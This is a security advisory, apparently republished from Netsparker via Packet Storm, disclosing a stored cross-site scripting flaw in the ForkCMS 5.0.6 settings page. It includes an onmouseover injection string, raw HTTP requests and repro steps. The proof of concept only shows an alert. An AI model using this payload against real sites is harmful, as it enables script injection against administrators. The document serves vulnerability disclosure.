ForkCMS 5.0.6 Cross Site Scripting

🗓️ 01 Jan 2019 00:00:00Reported by Omer CitakType

packetstorm🔗 packetstormsecurity.com👁 36 Views

Stored Cross-site Scripting Vulnerabilities in ForkCMS 5.0.6. URL: https://www.fork-cms.com/. Parameter: facebook_admin_ids

`Stored Cross-site Scripting Vulnerabilities in ForkCMS 5.0.6  
  
Information  
--------------------  
  
Advisory by Netsparker  
Name: Stored Cross-site Scripting Vulnerabilities in ForkCMS  
Affected Software: ForkCMS  
Affected Versions: 5.0.6  
Homepage: https://www.fork-cms.com/  
Vulnerability: Stored Cross-site Scripting  
Severity: Medium  
Status: Not Fixed  
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N  
Netsparker Advisory Reference: NS-18-032  
  
Technical Details  
--------------------  
  
Injection Details  
  
URL: http://{domain}/{forkcms_path}/private/en/settings  
Parameter Name: facebook_admin_ids  
Parameter Type: POST  
Attack Pattern: x" onmouseover=alert(0x018E3D) x="  
  
Injection Raw Request  
  
POST /{forkcms_path}/private/en/settings HTTP/1.1  
Host: {domain}  
Content-Type: application/x-www-form-urlencoded  
Cookie: PHPSESSID={cookie}  
  
...............&facebook_admin_ids=x%22%20onmouseover%3dalert(0x018E3D)%20x%3d%22&facebook_application_id=...............  
  
Identification Raw Request  
  
GET /{forkcms_path}/private/en/settings HTTP/1.1  
Host: {domain}  
Content-Type: application/x-www-form-urlencoded  
Cookie: PHPSESSID={cookie}  
  
Identification Raw Response  
  
HTTP/1.1 200 OK  
...  
...  
<!DOCTYPE html>  
<html lang="en">  
...  
...  
<input value="x" onmouseover=alert(0x018E3D) x="" id="facebookAdminIds" name="facebook_admin_ids" maxlength="255" type="text" class="form-control fork-form-text" />  
a|  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Repro Steps  
--------------------  
  
Login  
Go to "Settings > General" page  
Paste attack pattern to "Admin ids" input on the"Facebook" section  
Click "Add" button  
Click save button  
Trigger XSS: Take the mouse cursor over the "Admin ids" input on the "Facebook" section  
  
Advisory Timeline  
--------------------  
  
24th October 2017 - First Contact  
31st December 2018 - Advisory Released  
  
Credits & Authors  
--------------------  
  
These issues have been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
--------------------  
  
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.  
  
`

01 Jan 2019 00:00Current

7.4High risk

Vulners AI Score7.4